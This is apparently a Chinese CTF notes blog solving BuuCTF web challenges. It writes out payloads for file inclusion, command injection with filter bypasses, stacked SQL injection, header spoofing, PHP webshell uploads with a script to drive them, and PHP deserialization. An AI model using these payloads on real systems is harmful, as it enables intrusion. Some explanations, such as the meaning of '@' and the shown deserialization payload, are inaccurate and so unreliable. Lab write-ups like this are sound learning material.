Web安全——BuuCTF刷题笔记
本文最后更新于19 天前,其中的信息可能已经过时,如有错误请发送评论

前言

今天是1月12日,开始做BuuCTF其他的Web题目,不按关键词去刷了,因为容易刷到其他分支的题目,直接刷Web,顺便该提提速了

今天是1月21日,这篇文章三天前就收笔了,不过因为忙其他事情,且中途一直登录不上buuctf,停下了一段时间,所以写完这篇文章的时候已经好多天了,然后又没时间上传,180多张图片和2w字,今天才抽空花了点时间上传,最近给我的联想小新的笔记本也换成了ubuntu系统,果然丝滑多了

[极客大挑战 2019]Havefun

解题思路:

开启环境直接访问

该说不说,这页面有点好看啊,结果一看作者,发现这不就是之前那个黑客背景的SQL注入题目的作者嘛,反正还会塞无用数据恶心人,不管了做题,页面没什么信息,点了几下也没用,F12或者鼠标右键查看一下源代码

看一下逻辑,get请求,参数cat,输出值,如果值为dog,输出Syc{xxx},那么提交一个试试看

这我也没看懂考的啥,信息收集?代码分析?

夺旗成功!

[ACTF2020 新生赛]Include

解题思路:

直接开启题目访问靶机

一个超链接,F12没信息,直接点击跳转

你能查找到flag吗,看样子是文件包含,可以在URL中看到,我们直接修改flag.php为flag试试,没用,那就试试PHP伪协议

第二题直接秒,用的之前那个PHP函数学习的文章中的PHP伪协议部分的代码,直接读取文件数据,不过这里忘记了特意去翻了一下,因为之前用的少,为了加深印象,手敲几遍:

php://filter/convert.base64-encode/resource=flag.php

其实还是比较简单的,主要是convert忘记了,php://filter指定伪协议,convert.base64-encode指定base64编码,resource指定资源文件,然后获取的内容base64解码一下就好了

[HCTF 2018]WarmUp

解题思路:

还是一样,直接开启环境,我都是边做题变写wp,这样印象深刻,同时能够保证自己的思路能够被完整记录,方便后续复盘

没啥有用的东西啊,直接F12查看一下网页源代码

source一般就是给出源码了,看题目样子是要我们去下载或打开源码分析,直接访问/source.php

源代码有了,为了方便查看(代码编辑器缩进看着舒服一些)直接放到vscode里面,看到有一个hint.php的文件,直接访问看看

提示flag不在这,且flag在ffffllllaaaagggg,看前面的代码,发现include包含file参数,直接提交带有file参数的请求看看

提示我们不能查看,那么继续分析一下完整的代码逻辑:

 if (! empty($_REQUEST['file'])
     && is_string($_REQUEST['file'])
     && emmm::checkFile($_REQUEST['file'])
 ) {
     include $_REQUEST['file'];
     exit;
 } else {
     echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
 }   

判断file参数不为空,然后判断是字符串,然后判断emmm类里面的checkFile方法,都满足就包含文件,不满足就输出图标,那么要走包含的代码,就得满足前面的三个条件,前两个还好,第三个得看具体的方法内容:

public static function checkFile(&$page)
     {
         $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
         if (! isset($page) || !is_string($page)) {
             echo "you can't see it";
             return false;
         }

         if (in_array($page, $whitelist)) {
             return true;
         }

         $_page = mb_substr(
             $page,
             0,
             mb_strpos($page . '?', '?')
         );
         if (in_array($_page, $whitelist)) {
             return true;
         }

         $_page = urldecode($page);
         $_page = mb_substr(
             $_page,
             0,
             mb_strpos($_page . '?', '?')
         );
         if (in_array($_page, $whitelist)) {
             return true;
         }
         echo "you can't see it";
         return false;
     }

定义了一个checkFile方法,传入了$page,这个$page就是我们输入的file的值,&$page代表$page是引用传递,当这个变量在方法内部被修改后,再外部输出的话就是输出修改后的值,举一个例子:

<?php
 function echo_str(&$str) {
     echo $str; // 传入的字符串
     $str = "新的字符串";
 }

 $str = "原始字符串";
 echo_str($str);
 echo "修改后的字符串:". $str;
?>

可以看到这里我将上面代码放到我自己的服务器上面后访问,输出的是原始字符串+修改后的字符串:新的字符串,这就是引用传递,如果不加&则是默认的值传递,在函数内部的修改不会影响到全局(服务器上面的该文件已删除)

然后继续,声明了一个关联数组:

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

$whitelist 就是这个数组,然后继续:

if (! isset($page) || !is_string($page)) {
          echo "you can't see it";
          return false;
      }

      if (in_array($page, $whitelist)) {
          return true;
      }

      $_page = mb_substr(
          $page,
          0,
          mb_strpos($page . '?', '?')
      );
      if (in_array($_page, $whitelist)) {
          return true;
      }

判断$page是否设置,用的逻辑非,然后判断是否是字符串,比如没有设置,或者不为字符串,就满足了条件,中间用的是逻辑或,也就是当左右条件满足了任意一个就会执行你无法查看的代码块,并返回false

然后判断传入的&page是否存在于数组中,满足返回true;mb_substr函数用于从字符串中提取子字符串:

$str = "这是字符串";
echo mb_substr($str, 0, 2); // 输出:这是

三个参数分别是字符串,起始位置,提取长度,题目的代码是提取$page,从头开始,mb_strpos 函数是 PHP 中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置,题目中的代码是查找?在$page.’?’中,如果变量$page里面存在?,返回的就是这个问好的位置,如果不存在,拼接末尾会自带一个问好,确保程序不会返回false,代码效果如下:

// /?file=123.php?id=1
// mb_strpos("123.php?id=1?", '?')
// file=后面是我们传入的 $page ?第一次出现的位置为 7
// mb_substr($page,0,mb_strpos($page . '?', '?'));
// 返回的结果是mb_substr("123.php?id=1",0,7);
// 返回123.php,第七位不包含
// /?file=123.php
// mb_strpos("123.php?","?") 返回7
// mb_substr("123.php?",0,7) 返回123.php

看懂上面这个例子后再回到题目,$_page就是处理后的$page,如果$_page在$whitelist这个数组中就返回true,继续:

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

将$page进行URL解码,然后传入$_page,然后再截取,逻辑还是一样,如果在数组中就返回true,然后后面的代码是输出你不能看到它,返回false,好了分析完毕,我们来想一想payload怎么构造,首先要想包含flag文件,我们必须让条件为true,也就是file不为空,且是字符串,先满足这两个条件:

file=ffffllllaaaagggg

接下来满足切分后的内容在数组即可,因为是靠问号判断,判断第一个出现的问号,那么就可以这样构造:

file=source.php?ffffllllaaaagggg

这样的确可以了,不过只是满足了白名单和前面的两个条件,想要读取文件这样肯定是不可以的,因为source.php?ffffllllaaaagggg不是一个正常的文件名,那么怎么办呢?在Linux中,我们想要读取一个件的时候就可以使用:

cat ../../../filename

这里我们同样可以这么使用,因为 include 是把它当作文件路径来处理,所以如果直接传入 source.php 读取的就是:

include 当前目录/source.php

拼接 ?文件系统也只是会将他当作普通的字符处理,所以我们再拼接/../读取 :

include 当前目录/source.php?/../ffffllllaaaagggg

这样source.php返回它的上级目录,也就是source.php文件所处的当前目录了,并且我们成功绕过了白名单的限制,这样读取是可以读取到当前目录下的文件的,不过ffffllllaaaagggg不在当前目录,所以我们需要一层一层的加:

file=source.php?/../../ffffllllaaaagggg
file=source.php?/../../../ffffllllaaaagggg
file=source.php?/../../../../ffffllllaaaagggg

include 读取 source.php 的路径如下:

/var/www/html/
├── source.php
└── hint.php

include 读取 source.php/xxx 的路径如下;

/var/www/html/
├── source.php
├──── xxx
└── hint.php

然后使用../就可以使其重新回退到当前的目录,读取的就如下:

source.php/../ffffllllaaaagggg

/var/www/html/
├── source.php
├── ffffllllaaaagggg
└── hint.php

不过实际情况是ffffllllaaaagggg,不在当前目录,可能在更上一级的目录,所以我们需要继续../,最后应该是读取到了根目录下的ffffllllaaaagggg文件

成功夺旗!

因为是通过检查第一个?前的字符串来判断的,所以我们自行添加一个即可绕过白名单限制

[ACTF2020 新生赛]Exec

解题思路:

打开题目访问

发现是一个ping功能,那么多半是考命令执行了,输入一个IP地址,服务器会进行ping + ip,如果我们直接在后面加上;就能 成功执行多条语句,之前我们在webshell读取文件的时候应该有看到过:

cd ../;ls

这样就可以cd到上级目录,然后进行查看上级目录的文件,这就是通过;来拼接多条语句,所以我们试一试

为了方便,不等待ping结果,直接输入一个不存在的地址,这样ping就是不通的:

x;ls

不在当前目录,为了方便我们直接查找相关文件:

x;find / -name "*fl*"

发现有一个/flag,是根目录下的,看看是文件还是文件夹:

x;ls / -al

d 开头的就是文件夹,不是 d 开头,说明是文件,可以直接 cat 查看:

x;cat /flag

成功夺旗!

[GXYCTF2019]Ping Ping Ping

解题思路:

直接开启题目看看

提示了我们路径,我们试试:

/?ip=127.0.0.1

没问题,使用;看看能不能执行第二条命令:

x;ls

这回更简单,直接就在当前目录下,直接cat查看就好了:

x;cat flag.php

提示空格问题,因为是在URL中,那么我们试试+%a0${IFS}$IFS$1等绕过:

这里一定要注意,我们判断空格绕过的方法时千万不要执行下一条命令,比如我们已经在前面确定了ls是可以执行的,那么我们在判断是否可以绕过的时候就继续用这条命令,如果改变命令,结果给可能就不一样了,因为我就是被这个误导了,我当时执行的命令如下:

x;cat%a0flag.php

然后直接返回了fxck your flag,我当时就认为空格过滤肯定是绕过了,要不然也不会返回这个,但是实际上没有绕过,只不过先触发了flag关键字过滤,所以先结束了脚本并输出了这个信息,然后后面的一连串测试都有问题,所以大家在判断绕过技巧是否成功的时候尽量保证原语句不变

然后后来知道是过滤了空格才重新回到空格过滤的绕过上面,先用${IFS}发现过滤了{},于是又换成上面的$IFS$1然后成功绕过,接下来就是读取flag,因为过滤了关键字,我们可以使用编码或者变量来代替,这里使用变量代替的方法:

x;a=g;cat$IFS$1fla$a.php

没问题,成功!

当然,在过滤了flag的情况下,我们也可以直接尝试读取index.php来判断过滤情况,然后想办法绕过,这里最后来读取一下这个index.php文件:

x;cat$IFS$1index.php

代码如下(查看网页源代码):

<?php
 if(isset($_GET['ip'])){
   $ip = $_GET['ip'];
   if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
     echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
     die("fxck your symbol!");
   } else if(preg_match("/ /", $ip)){
     die("fxck your space!");
   } else if(preg_match("/bash/", $ip)){
     die("fxck your bash!");
   } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
     die("fxck your flag!");
   }
   $a = shell_exec("ping -c 4 ".$ip);
   echo "<pre>";
   print_r($a);
 }

?>

发现是直接拼接用户输入的 $ip 来执行命令,然后判断过滤,如果正则表达式匹配到就会结束脚本并输出相关信息,来逐行分析一下:

if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
     echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
     die("fxck your symbol!");
   }

这里 / 代表开头和结尾,中间的 \ 是转义,然后 |代表或,去掉这些再来看,过滤的内容就如下:

&、/、?、*、<、>、[\x{00}-\x{1f}]、'、"、\、(、)、[、]、{、}

[\x{00}-\x{1f}]代表十六进制的00到1F对应的字符,这里可以查看一下ascii表:

https://c.biancheng.net/c/ascii/

差不多就是过滤了0-31,其中什么制表符,换行啊都有,所以我前面使用%a0是没有绕过成功,然后还过滤了大括号,所以使用$IFS$1才成功绕过空格过滤,然后下一段代码:

} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}

过滤了空格,过滤了bash.*代表任意字符0或多次,然后匹配单个字符,如果我们输入flag会被匹配成功,输入f1lag也会成功,但是我们输入flaa就不会成功,所以我们可以使用变量来替换,将其中一个替换成变量名,这样就不会匹配到,比如a=lag,那么我们读取就可以是cat f$a.php,都是一样的可以获取到flag:

x;a=lag;cat$IFS$1f$a.php

不过要注意,变量不要夹在中间,比如a=l,读取命令为cat f$aag.php,你可能会认为这是正确的,实际上不会读取到,因为系统将$aag当作变量名来处理了,但是又没有这个变量,所以就不会有结果,不过可以将前面的变量改一下,为aag=lag,这样就可以读取到了

成功夺旗!

[极客大挑战 2019]Secret File

解题思路:

题目意思是秘密文件,直接打开靶机看看

没啥有用的信息,F12看看

可以看到,有一个按钮,是超链接跳转,不过用css隐藏了好像,不过我们是查看网页源代码,所以不要紧,直接点击跳转看一下

别急,查看一下页面源代码

没啥大问题,那就点击跳转看看

提示我们查阅结束,但是我们之前看到的网页源代码是跳转 /action.php ,这里的URL却是 /end.php,说明 /action.php 返回了信息包含 302 跳转,不过速度太快,没看到,没关系,使用 Burpsuite 看看

抓包都不用开,直接在请求的HTTP历史里面查看,发现返回了一个文件名,访问看看

又是代码分析,不过这会代码比较少,直接查看吧,高亮显示当前文件,然后关闭报错提示,$file 为 get 请求的 file,strstr() 函数在 PHP 中用于搜索一个字符串在另一个字符串中的首次出现,所以我们不能使用../tpinputdata,不过没有限制filter,那就用它来读取文件:

?file=php://filter/convert.base64-encode/resource=flag.php

没问题,F12后复制内容,base64解码一下:

<!DOCTYPE html>

<html>

 <head>
     <meta charset="utf-8">
     <title>FLAG</title>
 </head>

 <body style="background-color:black;"><br><br><br><br><br><br>

     <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

     <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
         <?php
             echo "我就在这里";
             $flag = 'flag{5720a22e-aa9b-4e6d-9bd1-ec9754bf2209}';
             $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
         ?>
     </p>
 </body>

</html>

这个应该目录扫描后扫描到flag.php直接访问的输出,不过我们压根没有那样,直接使用的伪协议读取的文件内容,所以flag在里面:

flag{5720a22e-aa9b-4e6d-9bd1-ec9754bf2209}

成功夺旗!

[强网杯 2019]随便注

解题思路:

看这标题怎么那么像SQL注入啊,不过没有带关键词SQL,所以才没有搜索到吧,不管了,直接开启题目做题

有一个1,直接提交看看

返回了数组,查看一下网页源代码看看

既然是SQL注入的题目,我肯定是不太会去用sqlmap跑的,用的是get请求,然后值是1,测试一下2看看

继续,3看看,发现3没有结果,0也没有结果,可以肯定的是字段数为2,因为返回的是两个结果,假设第一个结果是id,第二个结果是信息,然后匹配条件是用户输入的inject,那么语句可能如下

select id,message from xxx where id=$_GET['inject']

那么试试数字型注入:

1 and 1=2

发现返回1的结果了,说明输入是被当作字符串处理了,那么换成非数字型注入试试:

1' and 1=2#

发现没有返回结果,表示语句成功执行了,那么简单了,直接开始注入,获取信息:

-1' union select 1,2#

使用联合查询获取一下信息,发现返回了过滤的规则:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

好像只是做了正则表达式的过滤,不过不确定有没有过滤大写或者大小写混用,试试看:

-1' unIOn sElEcT 1,2#

还是这个信息,大写不行,大小写也不行,双写试了也不行,那么多半是无法绕过了,直接转变思路,使用show:

-1';show tables#

有结果了,思路没有问题,不过只显示两个,不确定有没有省略的,先正常获取一下数据库名:

-1';show databases#

发现返回了好几条结果,说明并不是限制了只返回两个结果,而是当前数据库的表名就两个,那么获取一下列,两种方法:

-1';show columns from `1919810931114514`#
-1';desc `1919810931114514`#

因为如果表名是纯数字,我们就需要使用反引号 ` 来包裹表名,然后发现返回了一个列,列名为flag

接下来的获取数据,我就不是特别清楚了,查了一下wp,发现是新的知识,一共四种解法:

  • 第一种就是我们之前学习的预编译来获取flag
-1';set @a=char(115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,96,49,57,49,57,56,49,48,57,51,49,49,49,52,53,49,52,96);prepare lawking from @a;execute lawking;#

输出:strstr($inject, "set") && strstr($inject, "prepare")

不过这里没有过滤完善 可以使用大写绕过:
-1';SET @a=char(115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,96,49,57,49,57,56,49,48,57,51,49,49,49,52,53,49,52,96);PREPARE lawking from @a;execute lawking;#

还可以使用16进制编码
-1';Set @jia = 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;PREPARE lawking from @jia;EXECUTE lawking;#

array(1) {
  [0]=>
  string(42) "flag{b03a304c-e170-43ad-8fd6-4571311ee469}"
}
  • 第二种就是还是预编译,不过使用concat来结合
-1';PREPARE lawking from concat('s','elect', ' flag from `1919810931114514`');EXECUTE lawking;#
因为靶机到期 又开了一遍
array(1) {
  [0]=>
  string(42) "flag{c2b0e593-faf9-42eb-892d-2f28a9a38b23}"
}
  • 第三种就是修改表名和列名来实现,正常来讲,我们输入1查询的是words表,那么我们替换一下,把这个数字表替换名字为words,原先那个随便换一下,然后将flag列换成id,当我们输入or 1=1#的时候查询的就是flag列的具体flag了
-1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

alter table words rename to words1 修改words表的表名为words1
alter table `1919810931114514` rename to words 修改数字表的表名为words
alter table words change flag id varchar(50) 修改words的flag列为id
使用 1' or 1=1#来获取所有信息
  • 第四种就是通过handle,handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

-1';HANDLER `1919810931114514` OPEN ;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` READ CLOSE;#

第四种试完了再去第三种,这样不用改来改去

[极客大挑战 2019]Http

解题思路:

直接开启靶机访问看看

做的还有点好看啊,这动画,不过没有看到什么有用的信息,F12查看网页源代码也没看见有什么有用的,看了一眼wp,思路是说看见题目是HTTP,那么首先想到的就是HTTP请求,F12查看一下网络请求

发现相比正常的请求多了一个引用站点策略,英文叫Referrer Policy,用于控制HTTP请求中Referrer报头内容的安全策略,Strict-Origin-When-Cross-Origin的含义是:

  • 当请求源(origin)和目标源(origin)相同时,将包含完整的 URL 信息
  • 当请求源和目标源不同源时,仅包含请求源的 origin 信息,不包含路径或查询参数等详细信息

什么是源呢:

http://lawking.top

协议+域名+端口就是源 ,同源指的就是协议和域名以及端口都相同,所以Strict-Origin-When-Cross-Origin就是不同源就不包含路径和参数信息,再看网页源代码,可以看到有一个Secret.php文件

直接访问看看

提示我们不是从https://Sycsecret.buuoj.cn访问的,那么我们抓包修改Referer为这个地址试试:

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26457
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: https://Sycsecret.buuoj.cn
Upgrade-Insecure-Requests: 1
Priority: u=0, i

提示让我们使用Syclover的浏览器,这个就是在UA头里面修改:

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26457
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: https://Sycsecret.buuoj.cn
Upgrade-Insecure-Requests: 1
Priority: u=0, i

no,你只能在本地读取这个文件,那么我们就通过修改X-Forwarded-For来伪造访问的源地址:

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26457
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: https://Sycsecret.buuoj.cn
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

成功夺旗!

因为没有做过这个题目,就X-Forwarded-ForUA伪造我是知道的其他都是跟着wp做的,因为这个题目好像做得比较少,主要还是通过请求头伪造访问无法访问的页面,我记得我是在学习SRC漏洞挖掘的时候知道的,那个时候就是用Burpsuite工具生成一个X-Forwarded-For: 127.0.0.1然后未授权访问

[极客大挑战 2019]Upload

解题思路:

直接访问靶机

很明显,是一个文件上传漏洞,看一下页面源代码,没有发现什么,看来不是前端过滤,那么就需要使用Burpsuite抓包测试了,先准备好Webshell:

<?php system($_GET['cmd']); ?>

然后因为前端没有过滤,直接选择Webshell进行上传

显示不是图片,使用绕过技巧试试,先尝试修改文件类型 Content-Type 为 image/jpeg 看看

那就是检查了文件后缀,那就使用%00截断

提示我们文件内容包含了<?,这我就想不到什么好的绕过技巧了,看看别人的wp学习学习,发现是通过script标签来调用代码:

<script language=php>system($_GET['cmd']);</script>

提示不是图片,说明还检查了文件头,添加GIF89a绕过

发现无法访问到,并且文件名没有截断,那就尝试使用phtml来绕过文件名检测,上传文件:webshell.phtml

成功!再去连接看看:

http://f609ff66-d44a-40da-9528-5feecb45e2b9.node5.buuoj.cn:81/upload/webshell.phtml

直接连接后查找flag,成功在根目录下看到了,直接cat查看:

cat /flag

成功夺旗!

前面的GIF89a是我们上传文件时的文件内容,所以连接后执行命令也自动输出了这个

[极客大挑战 2019]Knife

解题思路:

开启靶机直接访问

提示我们菜刀,然后 post 请求,然后是 Syc 参数,这里直接写个demo,因为我没有菜刀,如果你有的话直接连就行,没有就跟我一样python运行下面这个demo即可:

import requests

while True:
 url = "http://c94120eb-8ee8-46c2-a68b-067fa6cb263d.node5.buuoj.cn:81/"
 cmd = input("请输入命令:")
 if cmd == "exit":
     break
 data = {
     "Syc": f"system('{cmd}');"
 }
 response = requests.post(url,data)
 print(response.text)

然后试试ls,发现页面成功返回了信息

没问题,直接找flag:

find / -name "*flag*"

可以看到根目录下有一个flag文件,直接cat:

cat /flag

成功夺旗!

flag{944569d5-b59a-4073-aed9-a46ae1227df9}

[ACTF2020 新生赛]Upload

解题思路:

直接开启靶机访问看看

有意思哈,访问后是一个灯泡的样子,但是将鼠标移上去就会照亮文件上传的功能点

挺有创意的,那么直接上传一个webshell看看

直接弹窗了,这种还没开始上传就弹窗了只能说明是前端做了校验,没关系,直接换burpsuite抓包修改即可

将webshell后缀换成jpg,然后上传后抓包,再修改成php后缀即可,如果只是前端的过滤,那么就会成功上传,同时因为我们上传的时候选择的是jpg的文件,所以MIME(Content-Type类型)也帮我们伪造好了

提示坏文件,可能是对文件后缀也检查了,使用%00截断试试

可以看到没有成功,上传成功了,但是文件后缀是jpg,也就是说没有做文件内容的检查,并且上传后的文件名会经过加密,然后就是上传的路径就是当前路径下的uplo4d,既然%00无法截断,那就换一个文件后缀看看,看看是不是只是做了黑名单过滤,如果是黑名单过滤,且不完善就可以绕过:

可以看到成功上传,并且文件后缀还是phtml,那么就直接用我自己的工具尝试连接:

没问题,那么flag多半在根目录下,可以像前面一个find查找,这里我猜肯定是/flag,直接cat了

成功夺旗!

flag{4a637e03-98c8-4cad-bddc-e37b2a3140ee}

[极客大挑战 2019]PHP

解题思路:

还是一样,直接开启靶机访问

这题目,有意思,很好玩,可以逗猫,然后提示说有一个良好的备份网站的习惯,那么肯定就是备份文件泄露了,直接上dirsearch目录扫描:

dirsearch -u http://f98b4147-b749-47cf-938a-471bf74a4575.node5.buuoj.cn:81/

我第一遍用 -i 指定了200的响应,结果没扫出来结果,莫名其妙的,让我有扫了一遍,然后没带 -i 就出结果了,发现网站有一个www.zip的备份文件,直接多乐下来看看:

D:.
 class.php
 flag.php
 index.js
 index.php
 style.css

一共五个文件,css文件不用管,直接看另外的四个文件,发现有一个flag.php的文件,里面有一个变量就是flag,不过具体的内容是dogdogdogdog,估计是要我们查看这个文件,然后网站上面的flag.php文件里面就是flag,又因为是变量,直接访问这个文件可定是没有输出的,再假设class.php,多半是要我们利用PHP魔术方法来命令执行了

先看index.php文件:

<?php
 include 'class.php';
 $select = $_GET['select'];
 $res=unserialize(@$select);
?>

发现其中有个包含了class.php的代码,然后接收select参数,使用unserialize,看来是反序列化了,unserialize函数之前那篇PHP函数的文章中有写,用于将通过 serialize () 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构,然后@是引用传递

继续,来看class.php的代码,发现有三个魔术方法,__construct,__wakeup,__destruct,分别是在对象创建时,反序列化对象时,对象销毁时调用,看具体代码:

private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
 $this->username = $username;
 $this->password = $password;
}

function __wakeup(){
 $this->username = 'guest';
}

function __destruct(){
 if ($this->password != 100) {
     echo "</br>NO!!!hacker!!!</br>";
     echo "You name is: ";
     echo $this->username;echo "</br>";
     echo "You password is: ";
     echo $this->password;echo "</br>";
     die();
 }
 if ($this->username === 'admin') {
     global $flag;
     echo $flag;
 }else{
     echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
     die();


 }
}

可以看到在对象销毁时,执行判断,如果密码不等于100就会输出信息并结束脚本,所以password属性一定要是100,然后是username属性,要为admin才会调用全局变量flag并输出,但是如果我们直接传入序列化的数据,因为反序列化时会自动调用__wakeup魔术方法,所以username属性会被设置为guest,这样就无法满足条件了,不过__wakeup 在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup

接下来是构造payload,直接写一个php脚本:

<?php
	class Name{
     private $username = 'admin';
     private $password = '100';
 }
	$a = new Name;
	$b = serialize($a);
	echo "payload为:" . $b;
?>

然后上传到我的博客(因为方便,测试完就已经删除了),然后访问这个文件

payload如下:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

不过有两点需要注意,第一就是属性要为3(当前属性个数大于实际属性个数时,才会跳过__wakeup魔术方法)这个前面说过,第二个就是空字符,Nameusername其实是12个字符,但是在私有化属性在序列化的时候会有空字符隔开,不过不显示:

\x00类名\x00属性名

如果我们直接用上面的那个payload,提交后会发现不行,因为没有空字符,所以我们需要手动加上,\x00在URL中就是%00:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这就是完整的payload了,然后直接拼接在URL的select参数里面提交试试

成功夺旗!

flag{f50c000b-07dd-4bf7-98ee-c189b99899d1}

[ACTF2020 新生赛]BackupFile

解题思路:

还是直接开启靶机看看

让我们尝试找到文件,F12看看,发现啥也没有,扫描目录看看

dirsearch -u http://14109475-f563-4461-8df2-07b3833ff903.node5.buuoj.cn:81/ -i 200 -t 10

限制10线程是为了防止过快不出结果,不过dirsearch还是没有扫描到结果,那就直接试试source.php,发现也没有,还奇怪了,看看wp,发现思路没有错,的确是备份文件,我估计还是扫描快了,换成1线程试试:

dirsearch -u http://14109475-f563-4461-8df2-07b3833ff903.node5.buuoj.cn:81/ -t 1

1线程就是慢啊,跑了好半天才把结果跑出来,这就是我特别不想扫描或者爆破的原因,太费时间了

429都是扫描过快,不过降低速度后还是扫描出来了,差点以为还要加延迟呢,既然如此,直接访问.bak文件下载后看看代码:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
 $key = $_GET['key'];
 if(!is_numeric($key)) {
     exit("Just num!");
 }
 $key = intval($key);
 $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
 if($key == $str) {
     echo $flag;
 }
}
else {
 echo "Try to find out source file!";
}

看来应该是提交了key参数所以第三个图片也返回了200,不过没关系,看一看这个代码的逻辑,如果$key等于$str就输出flag,然后str是123…,这些都很简单,主要是这个intval函数和is_numeric函数,看看是什么

intval函数是PHP中用于获取变量的整数值的函数,将上面的$str变量用这个函数跑一下发现结果是123,后面的好像都省略了

is_numeric() 用于判断输入是不是数字或数字字符串

很明显,如果直接提交,那么不是数字而是字符串的话就不对,那么就需要想办法先绕过这个函数,因为是新知识,搜搜相关的文章,发现这里考验的是PHP弱类型判断,在使用==判断的时候,整数和字符串类型相比较时,会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行==比较时,b只会截取前面的整数部分,即b转化成123,所以他们比较结果相等,不过我本地的PHP版本是8.2.30的,对这个弱类型比较做了优化,所以比对不成功,不过题目环境是没问题的,然后当$key和$str比较时,$str会被转换成123,比较就是正确的,而is_numeric验证的是数字或数字字符串,123刚好是,所以不用考虑绕过,直接123就可以比对成功,然后获取到flag

/?key=123

不过PHP8对这个做了优化,降低了许多安全隐患发生的可能

[极客大挑战 2019]BuyFlag

解题思路:

打开题目发现没什么有用的信息,直接查看源代码发现有个pay.php的页面

访问看看

页面有点提示,不过好像还是没有告诉我们接口或者参数,看看源代码

在源代码中成功找到信息,看看代码的逻辑,发现需要提交金额和密码,判断是否提交密码,密码为用户直接输入的密码,如果用户输入的密码是数字或数字字符串,输出你不能输入数字,或者判断密码弱等于404,输出密码正确,然后金额是要求我们要100000000,看前面一题的时候发现这个is_numeric可以使用%00在开头和结尾绕过或者结尾使用%20,那么直接构造payload试试:

password=404&amp;money=100000000

没反应,提示我们必须是CUIT的学生,且密码正确,抓包看看,发现在Cookie中有一个user参数:

Cookie: user=0

修改成1试试

没问题,现在就是密码,提交密码看看,因为密码不能是数字类型,所以我们要绕过的话就必须是非数字或数字字符串,不过后端使用的是==弱比较,所以我们只需要保证前三位数字是404即可:

password=404pp&amp;money=100000000

发现还是不行,然后看了一下别人的wp发现这题如果是直接修改get为post是不行的,必须用hackbar提交正常的post请求,然后发送到重放模块修改,对比了一下前后的数据包,发现多了几个请求头参数,然后修改一下user为1,然后加上money,提交试试

密码没问题了,不过提示数字长度过长,那就换成URL中发送money参数试试

看来不行, 看了一下别人的wp,发现这里可以使用科学计数法绕过,我竟然没有想到,我好笨,呜呜

成功夺旗!

[RoarCTF 2019]Easy Calc

解题思路:

直接访问靶机看看

不急着测试,看看源代码

有一个calc.php的文件,访问看看

关闭报错,然后如果提交没有设置num就会展示当前文件,否则字符串等于用户提交的num参数, 然后利用正则表达式来过滤,如果没问题就会执行输出,很明显,没有过滤分号,那么直接尝试拼接第二个语句来命令注入:

calc.php?num=123;phpinfo()

不过发现,直接输入123没有问题,但是当我们输入第二条语句的时候

再加上之前文件提示的waf,多半是对参数进行了拦截,不过很可能是只匹配了num,使用空格依旧可以绕过,不过是URL编码后的:

calc.php?%20num=123;phpinfo()

